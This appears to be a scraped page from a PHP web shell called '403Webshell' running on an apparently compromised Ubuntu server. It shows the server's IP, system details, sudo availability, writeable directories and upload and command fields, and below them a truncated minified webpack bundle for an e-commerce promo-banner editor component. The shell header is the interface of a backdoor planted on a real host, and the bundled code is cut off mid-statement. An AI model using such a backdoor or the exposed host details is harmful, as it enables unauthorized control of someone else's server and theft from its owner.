403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/elite-events-storybook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/elite-events-storybook/150.7fbf96b5.iframe.bundle.js
"use strict";(self.webpackChunkelite_events_nextjs=self.webpackChunkelite_events_nextjs||[]).push([[150],{"./src/components/features/admin/PromoBannerEditor/index.tsx":(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.d(__webpack_exports__,{A:()=>PromoBannerEditor});var react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__=__webpack_require__("./node_modules/next/dist/compiled/react/jsx-runtime.js"),react__WEBPACK_IMPORTED_MODULE_1__=__webpack_require__("./node_modules/next/dist/compiled/react/index.js"),next_image__WEBPACK_IMPORTED_MODULE_2__=__webpack_require__("./node_modules/@storybook/nextjs/dist/images/next-image.js"),_lib_logging_clientLogger__WEBPACK_IMPORTED_MODULE_3__=__webpack_require__("./src/lib/logging/clientLogger.ts"),_components_ui__WEBPACK_IMPORTED_MODULE_4__=__webpack_require__("./src/components/ui/index.ts"),_components_ui_icons__WEBPACK_IMPORTED_MODULE_5__=__webpack_require__("./src/components/ui/icons/index.ts");const defaultBanner={title:"",headline:"",description:null,ctaText:"Shop Now",productId:null,ctaLink:null,imageUrl:"",backgroundColor:"#F5F5F7",textColor:"#000000",darkBgColor:null,darkTextColor:null,size:"large",imagePosition:"right",isActive:!0,startDate:null,endDate:null};function PromoBannerEditor({banner,products,onSave,onClose}){const[saving,setSaving]=(0,react__WEBPACK_IMPORTED_MODULE_1__.useState)(!1),[linkType,setLinkType]=(0,react__WEBPACK_IMPORTED_MODULE_1__.useState)(banner?.productId?"product":"custom"),[showDarkMode,setShowDarkMode]=(0,react__WEBPACK_IMPORTED_MODULE_1__.useState)(!(!banner?.darkBgColor&&!banner?.darkTextColor)),[previewDarkMode,setPreviewDarkMode]=(0,react__WEBPACK_IMPORTED_MODULE_1__.useState)(!1),[formData,setFormData]=(0,react__WEBPACK_IMPORTED_MODULE_1__.useState)(()=>banner?{title:banner.title,headline:banner.headline,description:banner.description,ctaText:banner.ctaText,productId:banner.productId,ctaLink:banner.ctaLink,imageUrl:banner.imageUrl,backgroundColor:banner.backgroundColor,textColor:banner.textColor,darkBgColor:banner.darkBgColor,darkTextColor:banner.darkTextColor,size:banner.size,imagePosition:banner.imagePosition,isActive:banner.isActive,startDate:banner.startDate,endDate:banner.endDate}:defaultBanner),[errors,setErrors]=(0,react__WEBPACK_IMPORTED_MODULE_1__.useState)({}),selectedProduct=products.find(p=>p.id===formData.productId),updateField=(field,value)=>{setFormData(prev=>({...prev,[field]:value})),errors[field]&&setErrors(prev=>{const newErrors={...prev};return delete newErrors[field],newErrors})},formatPrice=price=>new Intl.NumberFormat("en-US",{style:"currency",currency:"USD"}).format(price);return(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"fixed inset-0 bg-black/50 flex items-center justify-center z-50 p-4",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)(_components_ui__WEBPACK_IMPORTED_MODULE_4__.Zp,{className:"w-full max-w-3xl max-h-[90vh] overflow-y-auto",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center justify-between p-6 border-b border-gray-200 dark:border-gray-700",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h3",{className:"text-lg font-semibold text-gray-900 dark:text-white",children:banner?"Edit Promo Banner":"Create Promo Banner"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-sm text-gray-500 dark:text-gray-400 mt-1",children:"Configure promotional banner content and appearance"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("button",{onClick:onClose,className:"text-gray-400 hover:text-gray-600 dark:hover:text-gray-200",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_5__.In,{name:"close",className:"w-5 h-5"})})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("form",{onSubmit:async e=>{if(e.preventDefault(),(()=>{const newErrors={};return formData.title.trim()||(newErrors.title="Title is required"),formData.headline.trim()||(newErrors.headline="Headline is required"),formData.ctaText.trim()||(newErrors.ctaText="CTA text is required"),formData.imageUrl.trim()||(newErrors.imageUrl="Image URL is required"),"product"!==linkType||formData.productId||(newErrors.productId="Please select a product"),"custom"!==linkType||formData.ctaLink?.trim()||(newErrors.ctaLink="Custom URL is required"),setErrors(newErrors),0===Object.keys(newErrors).length})()){setSaving(!0);try{const dataToSave={...formData,productId:"product"===linkType?formData.productId:null,ctaLink:"custom"===linkType?formData.ctaLink:null,darkBgColor:showDarkMode?formData.darkBgColor:null,darkTextColor:showDarkMode?formData.darkTextColor:null,startDate:formData.startDate||null,endDate:formData.endDate||null};await onSave(dataToSave),onClose()}catch(error){_lib_logging_clientLogger__WEBPACK_IMPORTED_MODULE_3__.q.error("Error saving promo banner",error instanceof Error?error:new Error(String(error)))}finally{setSaving(!1)}}},className:"p-6 space-y-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"space-y-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h4",{className:"text-sm font-medium text-gray-700 dark:text-gray-300 uppercase tracking-wider",children:"Content"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"grid grid-cols-2 gap-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:["Title ",(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.title,onChange:e=>updateField("title",e.target.value),placeholder:"e.g., Apple iPhone 14 Plus",className:"w-full px-4 py-2 border rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent "+(errors.title?"border-red-500":"border-gray-300 dark:border-gray-600")}),errors.title&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"mt-1 text-xs text-red-500",children:errors.title})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:["Headline ",(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.headline,onChange:e=>updateField("headline",e.target.value),placeholder:"e.g., UP TO 30% OFF",className:"w-full px-4 py-2 border rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent "+(errors.headline?"border-red-500":"border-gray-300 dark:border-gray-600")}),errors.headline&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"mt-1 text-xs text-red-500",children:errors.headline})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:"Description"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("textarea",{value:formData.description||"",onChange:e=>updateField("description",e.target.value||null),placeholder:"Optional longer promotional text...",rows:2,className:"w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:["CTA Button Text ",(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.ctaText,onChange:e=>updateField("ctaText",e.target.value),placeholder:"e.g., Buy Now",className:"w-full px-4 py-2 border rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent "+(errors.ctaText?"border-red-500":"border-gray-300 dark:border-gray-600")}),errors.ctaText&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"mt-1 text-xs text-red-500",children:errors.ctaText})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"space-y-4 border-t border-gray-200 dark:border-gray-700 pt-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h4",{className:"text-sm font-medium text-gray-700 dark:text-gray-300 uppercase tracking-wider",children:"Link Destination"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex gap-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"flex items-center cursor-pointer",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"radio",name:"linkType",value:"product",checked:"product"===linkType,onChange:()=>setLinkType("product"),className:"w-4 h-4 text-blue-600 border-gray-300 focus:ring-blue-500"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"ml-2 text-sm text-gray-700 dark:text-gray-300",children:"Link to Product"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"flex items-center cursor-pointer",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"radio",name:"linkType",value:"custom",checked:"custom"===linkType,onChange:()=>setLinkType("custom"),className:"w-4 h-4 text-blue-600 border-gray-300 focus:ring-blue-500"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"ml-2 text-sm text-gray-700 dark:text-gray-300",children:"Custom URL"})]})]}),"product"===linkType?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:["Select Product ",(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("select",{value:formData.productId||"",onChange:e=>updateField("productId",e.target.value?parseInt(e.target.value):null),className:"w-full px-4 py-2 border rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent "+(errors.productId?"border-red-500":"border-gray-300 dark:border-gray-600"),children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("option",{value:"",children:"Select a product..."}),products.map(product=>(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("option",{value:product.id,children:[product.title," - ",formatPrice(product.discountedPrice)]},product.id))]}),errors.productId&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"mt-1 text-xs text-red-500",children:errors.productId}),selectedProduct&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"mt-3 flex gap-3 p-3 bg-gray-50 dark:bg-gray-900 rounded-lg",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"flex-shrink-0 w-16 h-16 relative rounded-lg overflow-hidden bg-gray-200 dark:bg-gray-700",children:selectedProduct.images[0]?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(next_image__WEBPACK_IMPORTED_MODULE_2__.A,{src:selectedProduct.images[0].thumbnailUrl||selectedProduct.images[0].url,alt:selectedProduct.title,fill:!0,sizes:"64px",className:"object-cover"}):(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"w-full h-full flex items-center justify-center",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_5__.In,{name:"image",className:"w-6 h-6 text-gray-400"})})}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"font-medium text-gray-900 dark:text-white text-sm",children:selectedProduct.title}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-sm text-blue-600 dark:text-blue-400",children:formatPrice(selectedProduct.discountedPrice)})]})]})]}):(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:["Custom URL ",(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.ctaLink||"",onChange:e=>updateField("ctaLink",e.target.value||null),placeholder:"e.g., /shop?category=phones",className:"w-full px-4 py-2 border rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent "+(errors.ctaLink?"border-red-500":"border-gray-300 dark:border-gray-600")}),errors.ctaLink&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"mt-1 text-xs text-red-500",children:errors.ctaLink})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"space-y-4 border-t border-gray-200 dark:border-gray-700 pt-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h4",{className:"text-sm font-medium text-gray-700 dark:text-gray-300 uppercase tracking-wider",children:"Image"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:["Image URL ",(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.imageUrl,onChange:e=>updateField("imageUrl",e.target.value),placeholder:"e.g., /images/promo/iphone.png",className:"w-full px-4 py-2 border rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent "+(errors.imageUrl?"border-red-500":"border-gray-300 dark:border-gray-600")}),errors.imageUrl&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"mt-1 text-xs text-red-500",children:errors.imageUrl})]}),formData.imageUrl&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"mt-2",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"relative w-32 h-32 bg-gray-100 dark:bg-gray-800 rounded-lg overflow-hidden",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(next_image__WEBPACK_IMPORTED_MODULE_2__.A,{src:formData.imageUrl,alt:"Banner preview",fill:!0,sizes:"128px",className:"object-contain",onError:e=>{e.target.style.display="none"}})})})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"space-y-4 border-t border-gray-200 dark:border-gray-700 pt-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h4",{className:"text-sm font-medium text-gray-700 dark:text-gray-300 uppercase tracking-wider",children:"Styling"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"grid grid-cols-2 gap-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:"Background Color"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"color",value:formData.backgroundColor,onChange:e=>updateField("backgroundColor",e.target.value),className:"w-10 h-10 rounded border border-gray-300 dark:border-gray-600 cursor-pointer"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.backgroundColor,onChange:e=>updateField("backgroundColor",e.target.value),className:"flex-1 px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent"})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:"Text Color"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"color",value:formData.textColor,onChange:e=>updateField("textColor",e.target.value),className:"w-10 h-10 rounded border border-gray-300 dark:border-gray-600 cursor-pointer"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.textColor,onChange:e=>updateField("textColor",e.target.value),className:"flex-1 px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent"})]})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"checkbox",id:"showDarkMode",checked:showDarkMode,onChange:e=>setShowDarkMode(e.target.checked),className:"w-4 h-4 text-blue-600 border-gray-300 rounded focus:ring-blue-500"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{htmlFor:"showDarkMode",className:"text-sm text-gray-700 dark:text-gray-300",children:"Custom dark mode colors"})]}),showDarkMode&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"grid grid-cols-2 gap-4 pl-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:"Dark Background"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"color",value:formData.darkBgColor||"#1a1a1a",onChange:e=>updateField("darkBgColor",e.target.value),className:"w-10 h-10 rounded border border-gray-300 dark:border-gray-600 cursor-pointer"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.darkBgColor||"",onChange:e=>updateField("darkBgColor",e.target.value||null),placeholder:"#1a1a1a",className:"flex-1 px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent"})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:"Dark Text Color"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"color",value:formData.darkTextColor||"#ffffff",onChange:e=>updateField("darkTextColor",e.target.value),className:"w-10 h-10 rounded border border-gray-300 dark:border-gray-600 cursor-pointer"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"text",value:formData.darkTextColor||"",onChange:e=>updateField("darkTextColor",e.target.value||null),placeholder:"#ffffff",className:"flex-1 px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent"})]})]})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"space-y-4 border-t border-gray-200 dark:border-gray-700 pt-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h4",{className:"text-sm font-medium text-gray-700 dark:text-gray-300 uppercase tracking-wider",children:"Layout"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"grid grid-cols-2 gap-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:"Size"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex gap-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"flex items-center cursor-pointer",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"radio",name:"size",value:"large",checked:"large"===formData.size,onChange:()=>updateField("size","large"),className:"w-4 h-4 text-blue-600 border-gray-300 focus:ring-blue-500"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"ml-2 text-sm text-gray-700 dark:text-gray-300",children:"Large (full width)"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"flex items-center cursor-pointer",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"radio",name:"size",value:"small",checked:"small"===formData.size,onChange:()=>updateField("size","small"),className:"w-4 h-4 text-blue-600 border-gray-300 focus:ring-blue-500"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"ml-2 text-sm text-gray-700 dark:text-gray-300",children:"Small (half width)"})]})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2",children:"Image Position"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex gap-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"flex items-center cursor-pointer",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"radio",name:"imagePosition",value:"left",checked:"left"===formData.imagePosition,onChange:()=>updateField("imagePosition","left"),className:"w-4 h-4 text-blue-600 border-gray-300 focus:ring-blue-500"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"ml-2 text-sm text-gray-700 dark:text-gray-300",children:"Left"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("label",{className:"flex items-center cursor-pointer",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"radio",name:"imagePosition",value:"right",checked:"right"===formData.imagePosition,onChange:()=>updateField("imagePosition","right"),className:"w-4 h-4 text-blue-600 border-gray-300 focus:ring-blue-500"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"ml-2 text-sm text-gray-700 dark:text-gray-300",children:"Right"})]})]})]})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"space-y-4 border-t border-gray-200 dark:border-gray-700 pt-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h4",{className:"text-sm font-medium text-gray-700 dark:text-gray-300 uppercase tracking-wider",children:"Scheduling (Optional)"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"grid grid-cols-2 gap-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm text-gray-600 dark:text-gray-400 mb-2",children:"Start Date"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"date",value:formData.startDate?.split("T")[0]||"",onChange:e=>updateField("startDate",e.target.value?`${e.target.value}T00:00:00Z`:null),className:"w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("label",{className:"block text-sm text-gray-600 dark:text-gray-400 mb-2",children:"End Date"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("input",{type:"date",value:formData.endDate?.split("T")[0]||"",onChange:e=>updateField("endDate",e.target.value?`${e.target.value}T23:59:59Z`:null),className:"w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg bg-white dark:bg-gray-800 text-gray-900 dark:text-white focus:ring-2 focus:ring-blue-500 focus:border-transparent"})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-xs text-gray-500 dark:text-gray-400",children:"Leave empty for the banner to always be displayed (when active)"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center justify-between p-4 bg-gray-50 dark:bg-gray-900 rounded-lg",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"font-medium text-gray-900 dark:text-white",children:"Active Status"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-sm text-gray-500 dark:text-gray-400",children:formData.isActive?"This banner is visible on the homepage":"This banner is hidden"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("button",{type:"button",onClick:()=>updateField("isActive",!formData.isActive),className:`\n                relative inline-flex h-6 w-11 flex-shrink-0 cursor-pointer rounded-full border-2 border-transparent\n                transition-colors duration-200 ease-in-out focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\n                ${formData.isActive?"bg-blue-600":"bg-gray-200 dark:bg-gray-700"}\n              `,children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:`\n                  pointer-events-none inline-block h-5 w-5 transform rounded-full bg-white shadow ring-0\n                  transition duration-200 ease-in-out\n                  ${formData.isActive?"translate-x-5":"translate-x-0"}\n                `})})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"border-t border-gray-200 dark:border-gray-700 pt-6",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center justify-between mb-4",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("h4",{className:"text-sm font-medium text-gray-700 dark:text-gray-300 uppercase tracking-wider",children:"Preview"}),showDarkMode&&(formData.darkBgColor||formData.darkTextColor)&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex items-center 